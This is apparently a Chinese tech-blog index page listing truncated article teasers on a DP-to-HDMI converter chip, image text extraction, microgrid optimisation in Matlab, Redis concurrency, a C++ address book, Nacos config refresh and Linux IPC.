CS5263替代PS176用于DP转HDMI2.0转换器芯片&#xff0c;DP转HDMI 4K60HZ转换方案芯片&#xff0c;CS5263芯片管脚分布及定义&#xff1a; CS5263芯片DEMO功能演示板如下&#xff1a; CS5263替代PS176支持HDCP 1.4和HDCP2.3&#xff0c;带有支持HDCP中继器的片上键。用于Typec扩…
阅读更多...
电脑怎么提取图片中的文字?

电脑怎么提取图片中的文字?

图片记录着我们生活的点点滴滴&#xff0c;比如各种办公截图、查快递单号、布置的课堂作业等等&#xff0c;都离不开这种便捷的方法。而我们有时难免需要从图片中提取想要的文字&#xff0c;总不能就靠打字打到手软吧&#xff0c;那么电脑怎么提取图片中的文字呢?有需要的朋友…
阅读更多...
基于改进粒子群算法的微电网多目标优化调度（Matlab代码实现）

基于改进粒子群算法的微电网多目标优化调度（Matlab代码实现）

&#x1f468;‍&#x1f393;个人主页&#xff1a;研学社的博客 &#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜…
阅读更多...
如何应对Redis并发访问带来的问题

如何应对Redis并发访问带来的问题

前言 我们在使用Redis的过程中&#xff0c;难免会遇到并发访问及数据更新的问题。但很多场景对数据的并发修改是很敏感的&#xff0c;比如库存数据如果没有做好并发读取和更新的版本控制&#xff0c;就会导致严重的业务问题。今天就来说说应该如何做好并发访问及数据更新问题。…
阅读更多...
使用c++实现通讯录管理系统

使用c++实现通讯录管理系统

使用c实现通讯录管理系统 系统中主要实现的功能如下&#xff1a; 1、添加联系人2、显示联系人3、删除联系人4、查找5、修改6、清空7、退出通讯录 添加联系人&#xff08;姓名、性别、年龄、联系电话、家庭住址&#xff09;以下步骤; 1、设计联系人结构体2、设计通讯录结构体…
阅读更多...
智能穿戴显示屏怎样操作？智能穿戴显示屏具有怎么功能？

智能穿戴显示屏怎样操作？智能穿戴显示屏具有怎么功能？

随着科技时代的来临&#xff0c;相信每一个人都有一台智能化设备。智能设备不仅在我们日常生活中随处可见&#xff0c;而且智能设备的发展已经渗透到了我们所能看到的每一个角落。智能穿戴技术作为中心是虚拟现实的技术&#xff0c;它不仅实现了便携收发通讯的功能&#xff0c;…
阅读更多...
微服务框架 SpringCloud微服务架构 6 Nacos 配置管理 6.3 配置热更新

微服务框架 SpringCloud微服务架构 6 Nacos 配置管理 6.3 配置热更新

微服务框架 【SpringCloudRabbitMQDockerRedis搜索分布式&#xff0c;系统详解springcloud微服务技术栈课程|黑马程序员Java微服务】 SpringCloud微服务架构 文章目录微服务框架SpringCloud微服务架构6 Nacos 配置管理6.3 配置热更新6.3.1 配置自动刷新6.3.2 总结6 Nacos 配置…
阅读更多...
Linux进阶-进程间通信（ipc）

Linux进阶-进程间通信（ipc）

进程间通信&#xff1a;数据传输、资源共享、事件通知、进程控制。 Linux系统下的ipc 早期unix系统 ipc&#xff1a;管道&#xff08;数据传输&#xff09;、信号&#xff08;事件通知&#xff09;、fifo&#xff08;数据传输&#xff09;。 system-v ipc&#xff08;贝尔实…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023